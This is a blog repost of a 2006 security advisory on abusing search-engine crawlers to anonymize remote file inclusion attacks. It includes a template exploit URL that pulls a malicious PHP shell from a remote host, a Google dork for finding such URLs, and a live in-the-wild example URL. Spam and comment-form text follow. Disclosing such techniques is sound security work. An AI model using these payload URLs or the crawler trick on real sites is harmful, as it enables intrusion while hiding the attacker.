Anonymizing Attacks With Google, No Need For Botnets!!

5 12 2006

Anonymizing Attacks With Google [via] www.passivemode.net

This is a repost cause the article rocks:

By Noam Rathaus, SecuriTeam

Google can be utilized to hack into websites – actively exploiting them not information gathering by the use of “Google Hacking”, although that is how most of the sites vulnerable to RFI attacks are found.

By placing a URL on any web page, Google will find it, visit it and then index it. With this mechanism, it is possible to anonymize attacks on third party web sites through Google by the use of its crawler.

PoC
A malicious web page is constructed by an attacker, containing a URL built like so:
1. Third party site URI to attack.
2. File inclusion exploit.
3. Second URI containing a malicious PHP shell.

Example URL:
http://victim-site/RFI-exploit?http://URI-with-malicious-code.php

Google will harvest this URL, visit the site using its crawler and index it. Meaning accessing the target site with the URL it was provided and exploiting it unwittingly for whoever planted it. It’s a feature, not a bug.

This is currently exploited in the wild. For example, try searching Google for:
inurl:cmd.gif

And note, as an example:
http://www.toomuchcookies.net/index.php?s=http:/%20/xpl.netmisphere2.com/CMD.gif?cmd
Which is no longer vulnerable. The %20 seems out of place, but this is how it is shown in the search.

Why use a botnet when one can abuse the Google crawler, which is allowed on most web sites?

Notes:

  •  This attack was verified on Google, but there is no reason why it should not work with other search engines, web crawlers and web spiders.
  • File inclusions seem to tie in well with this attack anonymizer, but there is no reason why others attack types can’t be used in a similar fashion.
  • The feature might also be used to anonymize communication, as a covert channel.

(Thanks to Gadi Evron and Lev Toger)

Nice Job guys.  Keep em coming!!


Actions

Information

One response

27 08 2016
Boohoo discount code

Boohoo discount code

Anonymizing Attacks With Google, No Need For Botnets!! | TheMostBoringBlogInTheWorld

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s




%d bloggers like this: